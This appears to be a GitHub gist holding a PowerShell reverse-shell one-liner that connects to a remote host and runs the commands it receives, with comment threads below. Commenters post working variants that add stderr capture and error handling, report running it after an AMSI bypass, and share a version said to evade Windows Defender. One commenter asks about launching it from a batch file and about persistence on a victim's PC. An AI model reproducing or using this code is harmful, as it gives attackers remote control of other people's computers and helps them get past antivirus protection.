powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok

powershell_reverse_shell.ps1

# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Hi, can someone explain how this exactly works? Why is (pwd).Path triggers the antivirus. And is this reverse shell only available until a restart of the victim's pc? I didn't found any explanation online. Thanks in advance.

good job!
It detected AMSI. but I used amsi bypass script before this script running.so this script runs successfully!

Looks like the shell did not return stderr, is it possible to return stderr as well?

hey @mappl3, feel free to add this in your fork and i'll update it ;) . you can also append 2>&1 to the end of a command to get stderr

Got stderr working with this modification:
$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
And if you want to catch some errors:
$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);try { $sendback = (iex ". { $data } 2>&1" | Out-String ); } catch { $sendback = "$_`n"}; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

that's the one-liner updated with your addition for stderr. thanks for your contribution @Veids!

The Windows Defender action is triggerd by the "(pwd).Path" call in the code. Try running the following:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.100',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"

This actually still works and doesn't trigger anything

How would I run this from a bat file and what book do you recommend to learn powershell scripting on this level